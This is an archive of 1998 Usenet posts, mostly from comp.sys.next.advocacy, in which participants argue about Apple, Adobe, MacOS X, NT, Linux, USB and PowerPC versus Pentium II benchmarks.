-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 31 Aug 1998 14:41:45 +0000
Organization: BM
Message-ID: <6seqcf$si$1@ash.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net>
<rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net>
<rmcassid-2808982302000001@hephaestus.eng.uci.edu>
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<rmcassid-3108980032370001@dialin9062.slip.uci.edu>
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rmcassid@uci.edu (Robert Cassidy) wrote:
> The risk is that Apple and MS possibly
>get back into a pissing contest.
In the not-too-distant future, this is absolutely unavoidable. When MacOS X goes
against NT in business environments and places where NT can now easily take
seats away from MacOS (file servers in prepress shops, back-end ops, media
banks, web servers/streamers, etc.), MS won't like it.
Ziya Oz
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: Mon, 31 Aug 1998 19:07:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ses8n$1rq$1@nnrp1.dejanews.com>
References: <35eaaf53.0@news.depaul.edu> <6seekg$aos$1@news.spacelab.net> <6seghe$aue$1@sun27.hrz.tu-darmstadt.de>
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> We oldtimers might however decide to move to another place without
> the 'a' word, such as comp.sys.next.nostalgia, and talk about
> the good old times when somebody smuggled a SEF image into a
> Newsgrazer binary. ...
> (What we really need is a distributed cooperative filter
> mechanism though. If you are interested, drop me a line,
> or post in .programmer or .misc)
If we just had a filter that threw out any message in which the word 'NeXT'
wasn't capitalized exactly that way, it should keep all but the old-timers out
quite effectively.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 14:27:32 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EAF924.2DFD189E@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com> <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net> <35E6F810.E4B8D01F@ericsson.com> <gmgraves-2908981155230001@sf-pm5-10-74.dialup.slip.net> <35EAD0A2.78F8E0AA@ericsson.com> <gmgraves-3108981114540001@sf-usr1-60-188.dialup.slip.net>
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George Graves wrote:
[cut]
> > Yes, and "Mac advocates" is really the key phrase, isn't it?
>
> As in "people with a lot of experience with Macs", yes.
Sorry, George, that would make me more of a "Mac advocate" than you, and
that's not an accurate description.
> And who is going to drag you there first? You have to be there yourself
> before you can drag anyone else, you know.
Be patient. All will be clear someday. Prepare yourself.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 31 Aug 1998 12:49:06 -0700
Organization: UC Irvine
Message-ID: <rmcassid-3108981249060001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6seqcf$si$1@ash.prod.itd.earthlink.net>
In article <6seqcf$si$1@ash.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>> The risk is that Apple and MS possibly
>>get back into a pissing contest.
>
>In the not-too-distant future, this is absolutely unavoidable.
Good point. Maybe Apple should work on insurance now for the day that it
really starts.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 31 Aug 1998 13:02:16 -0700
Organization: UC Irvine
Message-ID: <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net>
In article <6ser4k$21j$1@ash.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>>That's an excellent point. I would actually look at a product like
>>Photoshop and decide 'well, we don't need our own colorpickers. We'll just
>>use the ones in the OS. And we don't need our own scripting language,
>>we'll use the one in the OS.' Apple starts streamlining a lot of these
>>apps (like MS does) and at the same time builds in distinct advantages.
>>The burden for parity falls on MS.
>
>Yes, but I thought you were arguing that Apple wouldn't mess with the Windows
>versions of its apps, if it acquired Adobe.
To my mind that isn't really messing with them - it's making practical
changes. It's Apple having much less code to support. It's not an action
to favor one platform over the other. After all, the code would be taken
out of the Mac version as well.
>Photoshop Actions is there simply because Adobe did NOT want to use MacOS-only
>AppleScript. Exposing Actions completely to OSA architecture would open up many
>interesting scripting and integration possibilities, as you suggest. But then
>what do they do for their Windows versions? Not have Actions? Same with
>ColorSync; same with QT, etc.
Colorsync and QT are cross-platform already. MS customers simply have to
get the product from Apple, nothing new there. Apple can publish a similar
API for the Windows version, but it'll be COM or VB or whatever they pass
off as a scripting language over there. But basically pulling these
products back as apps, and less as OSen. There is no way to properly
integrate these products without an external scripting environment. The
fact that MS really doesn't have one is hardly Apple's fault.
>This is exactly why I keep saying that I see no way to tightly integrate apps
>with an OS *and* have xplatform version of same quality and capability.
The only
>way is to dumb them down *or* port the extra layers to the other OS -- at which
>point you lose your distinct OS advantage. While MS maybe able to afford this
>due its sheer dominance, Apple cannot.
I think that by supporting OSA Apple can offer Frontier on the Windows
side as the solution. Personally I'm not a huge fan of Frontier - I find
it to be cumbersome, but the solution is there, and it's cross-platform. I
think the distinct advantage stays with Apple since AS is relatively
ubiquitous.
-Bob Cassidy
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 31 Aug 1998 21:09:54 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6sf3f2$l87$1@news.spacelab.net>
References: <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com>
Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
>spammers@ruin.the.internet.channelu.com writes
>> I very much value Don Yacktman, Scott Anguish, Charles Swinger
> ^^^^^^^
>Secret's out, Chuck. Hope your SO doesn't read this group. 8^)
Psshaw! Greg, you're just jealous because nobody's managed to creatively
misspell your last name (yet!)....
-Chuck
Charles "Swinger" | chuck@codefab.com | Yeah, yeah-- disclaim away.
------------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: leebum@nottowayez.net (Shelton Garner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Tue, 01 Sep 1998 16:34:39 GMT
Organization: Airnews.net! at Internet America
Message-ID: <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Tue Sep 1 11:29:47 1998
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On Mon, 31 Aug 1998 14:42:58 GMT, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <SCOTT.98Aug28130819@slave.doubleu.com> Scott Hess wrote:
>> Flip the question - what would MacOS X purchasers be willing to pay to
>> get an operating system layer which works on a greater variety of
>> systems?
>
> That depends on the definition. Linux is not available on a wider
>selection of hardware than the *BSD's, so this seems like a small
>distinction. If you mean wider variety than PPC, then a) Apple can do this
>now, b) this is exactly what they are afraid of.
>
>> SMP is a kernel thing. If MacOS X were layered over an OpenSource BSD
>> or Linux, Apple _couldn't_ use a different type of SMP, because the
>> kernel does the SMP.
>
> This is just the point though, Apple isn't using any of these.
>
>> The only downside I see to Linux is possible buy-in. I think that
>> some Linux users would purchase a MacOS X type superstructure - but
>> more users would probably avoid the system _because_ it's Linux. _I_
>> wouldn't I'm just spouting perceptions.
>
> I don't think anyone will care one way or the other actually, as long as it
>works. It could be Multics.
>
> Basing the core product on Linux gets _Apple_ nothing (not users or
>customers, _Apple_). They don't want to sell a PC based product, so
>basically all of those advantages go out the window (and honest, DR2's
>hardware support is pretty good, it installed itself _perfectly_ on the first
>try, even IDing all of my hardware, much of which didn't exist when they
>wrote the last release version). Apple is not interested in non-PPC markets,
>whether you like that or not.
>
> The real question is, "on a PPC box, what does MacOS-X = Linux + YB +
>Carbon + BB get Apple that MacOS-X = Mach + YB + Carbon + BB doesn't". I've
>been asking this question for a long time now, and still no one's come up
>with a good answer. I can think of many things it doesn't get them.
Why is it so hard to understand--Linux is obviously the wave of the
future and it's "message" and momentum right now is growing fast.
Linux and Apple would be a wonderful symbiotic relationship that would
KICK MS's ASS!
lee
L. Shelton Bumgarner -- Keeper of the Great Renaming FAQ
Nattering Nabob of Narcissism * http://www.nottowayez.net/~leebum/
ICQ#: 9393354 * "Given two unrelated technical terms, an Internet
search engine will retrieve only resumes." -- Schachter's Hypothesis
From: Petri Holopainen <petrih@algonet.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 01 Sep 1998 19:02:44 +0200
Organization: Sirius Cybernetics Corporation
Message-ID: <35EC28B4.5D7113B@algonet.se>
References: <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com> <a_fraser-2208981126550001@port-50-11.access.one.net> <6rn70v$4lk$1@nnrp1.dejanews.com> <a_fraser-2208982035140001@port-32-31.access.one.net> <35e17205.3325187@198.0.0.100> <gmgraves-2308981611320001@sf-usr1-42-170.dialup.slip.net> <35EADD8C.3990B52F@algonet.se> <gmgraves-3108981100020001@sf-usr1-60-188.dialup.slip.net>
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George Graves wrote:
>
> Certainly Dell was anticipatory if nothing else. Especially
> since Windows wouldn't even SUPPORT USB in 1996.
Hmm, you might be right. Win95 OSR2 came in 1996, but USB-support
came in OSR2.1, I really don't remember if it was late '96 or early
'97...
> In fact, USB hasn't taken off very well on the PC side in spite
> of their head start. Apple, on the other hand, has forced the
> issue with iMac by removing all alternatives from the
> machine. If all the PC makers had done the same, PCs would
> be mostly USB as well.
Maybe. You could also say that Apple has been waiting for USB
to reach a critical mass before jumping on the bandwagon...
The point is that USB (like PCI and AGP) was first on the PC
platform. Last I heard Apple is planning to adopt AGP as well.
More and more Intel technology is appearing in the Macintosh... ;-)
-- Petri
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: PPC 750 vs. Intel Pentium II
Date: 1 Sep 1998 18:08:36 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6shd74$fth@newsb.netnews.att.com>
Summary: SPEC95 for processors
Originator: gupta@tlctest
SPEC95 is supposed to be a benchmark that measures performance
that is close to "real life" (whatever that means).
Here are some recent figures. They are presented with the
following cautions :
1. The Intel numbers are official, i.e., I believe they have
been submitted to the SPEC organization. The IBM numbers are
estimates.
2. The performance that the PPC 750 can achieve may not be
found in any of Apple's shipping systems. Moreover, the SPEC95
benchmark runs on UNIX and Windows NT, and not on MacOS.
Here goes :
[1]
Intel Pentium II Xeon 400 MHz, 1M L2, 100 MHz system bus :
(L2 running at 400 MHz)
SPECint95 : 16.5
SPECfp 95 : 13.7
[2]
Intel Pentium II 400 MHz, 512KB L2, 100 MHz system bus :
(L2 running at 200 MHz)
SPECint95 : 15.8
SPECfp 95 : 12.4 [2A]
[3] (new copper interconnects chip)
IBM PowerPC 750 400 MHz, 1M L2, 100 MHz system bus :
(L2 running at 200 MHz. Also see below)
SPECint95 : 17.6
SPECfp 95 : 12.2
Regarding L2s :
1. The Intel Pentium II Xeon 400 MHz has a full speed cache,
i.e., L2 running at 400 MHz, see [4].
The Xeon will eventually support 2MB L2, but "The initial
400 MHz Pentium II Xeon processor offering will not support
2MB L2 cache size" [4].
2. The Pentium II 400 MHz supports a maximum of 512KB L2, AFAIK.
running at half core speed.
The PowerPC 750 supports a maximum of 1M L2. It can support
a core-to-L2 frequency divisor of 1. However, [5] states
the following (on page 15)
"The internal design supports higher L2CLK frequencies;
however the L2 I/O drivers have been designed to support a
150 MHz L2 bus loaded with four off-the-shelf pipelined
synchronous burst SRAMS. Running the L2 bus beyond 150 MHz
would require tightly coupled customized SRAMs or a multi-chip
module (MCM) implementation."
The PPC Specint95 estimate is 7-11% more than the Pentium IIs.
[1] http://www.intel.com/businesscomputing/wrkstn/b_spec95.htm
[2] http://www.intel.com/procs/perf/PentiumII/spec95int_win.htm
[2A]http://www.intel.com/procs/perf/PentiumII/spec95fp_win.htm
[3] http://www.chips.ibm.com/products/ppc/overview/perform.html
[4] http://www.intel.com/businesscomputing/wrkstn/pdf/breakthrough.pdf
[5] http://www.chips.ibm.com/products/ppc/documents/datasheets/750/
750-pid8p_400MHz_scm_datasheet_ver1_3.pdf
Also, from similar pages, you will find :
The Pentium II 400 MHz, 0.25 micron process, die size 450 mils/side,
core voltage 2.0 V, max current 12.6 A, power 24.3W total.
The Pentium II Xeon 400 MHz, core power 23.3 W,
L2 power (1M L2 @ 400 MHz) 15.0 W. Core die is 130.9 mm^2,
L2 die is 222.21 mm^2.
The PowerPC 750 400 MHz PID 8p, 0.22 micron process, die size 5.14 x 7.78 mm,
max 5.7W at 400 MHz (not clear whether this includes the L2 or not).
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<macghod-0109980043120001@sdn-ar-001casbarp011.dialsprint.net> <EyM4n2.Iyx@T-FCN.Net>
Mime-Version: 1.0
Date: Tue, 1 Sep 1998 17:02:40 GMT
While on the topic, I just saw on the Seybold demos that MacOS-X _WILL_
rk fine with menus held down. They showed it. Phew.
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 01 Sep 1998 19:40:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6shijn$684$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
In article <EyKFps.25B@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Yes, there is. The issue appears to be that you believe this will
> translate into differences at the API level. I'm convinced changes are
> happening, however I am not convinced this will result in any undue pain at
> the API level or above.
How can the changes not take place at the API level? Below you have a fragment
of code that could be used to handle mouseDown events in the menu bar. This
code would have to change if Apple wanted to make the menu bar accessable when
the foreground application is busy.
> Well this is exactly how it works now under OpenStep as well. YB does it
> by asking the firstResponder (or others) for the state of the menus based on
> a selector ID, Carbon could just as easily do it based on menu position. The
> code would be a lot nastier, but in the end it would likely change nothing in
> the user's code with the exception of implementing a single "well known"
> entry point for the callout.
That would represent a fairly big change in the way event handling works.
And, if you are going to use something new like this, it would probably be
better to pack the menu and item into a long instead of providing a position.
> I'm not even convinced it has to do this. The current event chain is...
>
> get a mouseDown
> figure out where it is
> set up your menus
> run the menuhandler
> menuhandler returns menu item information
>
> Basically the _real_ problem is in the last step, the rest happen
> "instantly" from the user perspective. If the call back into the menu
> handler can be made smarter it should work fine. No? Can you think of a
> case where this would not work?
You would have some re-entrancy issues to deal with. You would have to make
sure that your callback function doesn't examine/modify data structures that
are in the process of being changed. Most Mac OS applications have not had to
deal with this before. Even highlevel event callbacks aren't made until the
application asks them to be.
[Rest snipped]
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Quantum Leaper" <leaper@bigfoot.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 17:21:19 -0500
Organization: Exec-PC BBS Internet - Milwaukee, WI
Message-ID: <6sf7od$jln@newsops.execpc.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com> <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net> <35E6F810.E4B8D01F@ericsson.com> <gmgraves-2908981155230001@sf-pm5-10-74.dialup.slip.net> <35EAD0A2.78F8E0AA@ericsson.com> <gmgraves-3108981114540001@sf-usr1-60-188.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote in message
gmgraves-3108981114540001@sf-usr1-60-188.dialup.slip.net...
>In article <35EAD0A2.78F8E0AA@ericsson.com>, Michael Peck
><Michael.Peck@ericsson.com> wrote:
>
>> George Graves wrote:
>>
>> > 1) We have no way of knowing whether your observations are real or
>made-up for
>> > the purpose of trolling.
>>
>> You don't seem to understand. I don't particularly care about the effect
>> of my words on you at this point; I might have cared, once, but
>> demonstrating professional-level skepticism about anything contradictory
>> to your ideological committment doesn't endear the debate to me.
>
>No, its you who don't seem to understand. This is a Mac advocacy group.
>If you want to bum-rap the Mac, you need facts, not your quaint personal
>anecdotes. They are not evidence, they are at odds with reality, and
>frankly they say far more about you than they do about me or anyone else
>who advocates the Mac here.
>
I guess thats why you Mac users decided to pollute Next advocacy and
Comp.sys.intel with this message? Next time George read the line that says
NEWSGROUPS.
Message read and posted from comp.sys.intel
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: NT's ease of use ???
Date: 1 Sep 1998 21:47:33 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6shq1l$gij@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.winntmag.com/magazine/Article.cfm?IssueID=58&ArticleID=3841
Editorial
S,M,L,XL and XXL
Can Windows NT be a one-size-fits-all solution ?
by Mark Smith
Quote : NT is a professional OS that requires support from
professionals. When people ask me what OS they need,
I tell them,"If you don't have access to professional
support, buy Windows 9x." Microsoft needs to continue
to make consumer OSs. Long live Windows 2001 !
Long live NT ! And I hope the two will never meet.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 1 Sep 1998 21:44:11 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6shprb$gi4@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
Didn't Apple announce WebObjects 4.0, and announce that it runs on
PowerMac G3 machines ? On what OS could it run but MacOS X Server ?
-arun gupta
<spagiola@my-dejanews.com> wrote:
>Well, Steve's speech has come and gone, and not one peep on Mac OS X Server,
>as far as I could tell. Yes, it was good to hear Adobe et al announce their
>support for OS X, but that's over a year away. In the meantime, OS X Server
>is supposed to be here imminently, and still not a word. Not on timing. Not
>on pricing. Not on anything.
>
>This is extremely discouraging...
>
>Stefano Pagiola
>---
>My opinions alone
>Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
>Rhapsody user
>
>-----== Posted via Deja News, The Leader in Internet Discussion ==-----
>http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
Content-Type: text/plain; charset=us-ascii
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Cc: leebum@nottowayez.net
Organization: none
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
<EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net>
Mime-Version: 1.0
Date: Tue, 1 Sep 1998 20:37:16 GMT
In
.net> Shelton Garner wrote:
> Why is it so hard to understand--Linux is obviously the wave of the
> future
Why exactly? Because lots of people are installing it? Doesn't that make
Win98 the obvious wave of the future?
What does Linux get Apple? PR? They seem to be doing just fine in that
egard on their own.
> and it's "message"
What message. My beeper was off.
> and momentum right now is growing fast.
Momentum yes, but I _really_ have a hard time seeing Apple figuring out how
w to use it. Look at what the iMac is, it's a machine that's utterly a case
of form over function, sold entirely to people that couldn't give a crap if
what's inside is a little mouse running on a treadmill.
So what do YOU find so hard to understand about this problem? Yes, I want
to run YB over Linux on my PC (actually, FreeBSD). Yes, such a product
ld be a cool thing for the Linux owners (a REAL cool thing, those who use it
won't go back [me for instance]). But clearly Apple's only concern now is
the _Mac_ owners, and frankly using Linux does nothing for them.
Now if Apple decided to get back into the PC OS market THEN there is an
vious benefit for them to be based on Linux. However they are actively
ving_ that market now. That's the cutting line right there. Linux is no
etter" than what they have now on the PPC, and the PR effect in the Mac
et is basically nil.
Maury
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
MIME-Version: 1.0
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References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu>
<vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
<_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu>
Message-ID: <640H1.2918$MS.7205576@news.rdc1.sdca.home.com>
Date: Wed, 02 Sep 1998 00:12:50 GMT
NNTP-Posting-Date: Tue, 01 Sep 1998 17:12:50 PDT
Organization: @Home Network
In <rmcassid-3108980020470001@dialin9062.slip.uci.edu> Robert Cassidy wrote:
> The hardware is fine
> for the task. The problem lies with poor app support and interoperability.
>
>
This is where I have difficulty in this thread. App support and
ility ring in my ears as OS level integration. Evangelists pumping Apple
uice" down the ears of Adobe programmers to get with the Mac program simply
has a hollow ring. Is the suggestion to Apple to rewrite their interfaces to
o support Adobe/Quark? Sounds like tail wagging the dog again.
> > The problems in the publishing sector fragment and disintegrate. They
re
> > thrid party vendor problems which rest solely with those companies. That
t
> > doesn't mean that it is not in Apple's best interest to take the
nity
> > to correct them.
>
> But if the 3rd party solves the problems more effectively on NT than on
> MacOS, then the problem is uniquely Apple's. And that is the problem they
> face right now.
>
>
That's the problem to be solved. Is it technical? Or is it a smallish
et effect (ie. Mac).
-r
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <DJ_G1.10853$dV6.70066@newse2.tampabay.rr.com>
Control: cancel <DJ_G1.10853$dV6.70066@newse2.tampabay.rr.com>
Date: 01 Sep 1998 22:45:58 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.DJ_G1.10853$dV6.70066@newse2.tampabay.rr.com>
Sender: veritas@mindspring.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: sdf-ams@execpc.com (Scott D. Feldstein)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 19:21:42 -0500
Organization: Macoholics Anonymous
Message-ID: <6sfem9$r4k@newsops.execpc.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net>
> 2.) MS does not allways release it's products on time, because MS insists on
> "finishing" it's products before they hit the shelves.
ROTFL!!!!!!!!!!!!!!!!!!!!!!!!!!!!
--
Scott D. Feldstein
sdf-ams*SPAMSUCKS*execpc.com
www.execpc.com/~sdf-ams
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
Message-ID: <MA1H1.2932$MS.7264743@news.rdc1.sdca.home.com>
Date: Wed, 02 Sep 1998 01:55:56 GMT
NNTP-Posting-Date: Tue, 01 Sep 1998 18:55:56 PDT
Organization: @Home Network
In <rmcassid-3108980032370001@dialin9062.slip.uci.edu> Robert Cassidy wrote:
> In article <6samgn$6f7$1@holly.prod.itd.earthlink.net>, "Ziya Oz"
> <ZiyaOz@earthlink.net> wrote:
>
> > rmcassid@uci.edu (Robert Cassidy) wrote:
> >
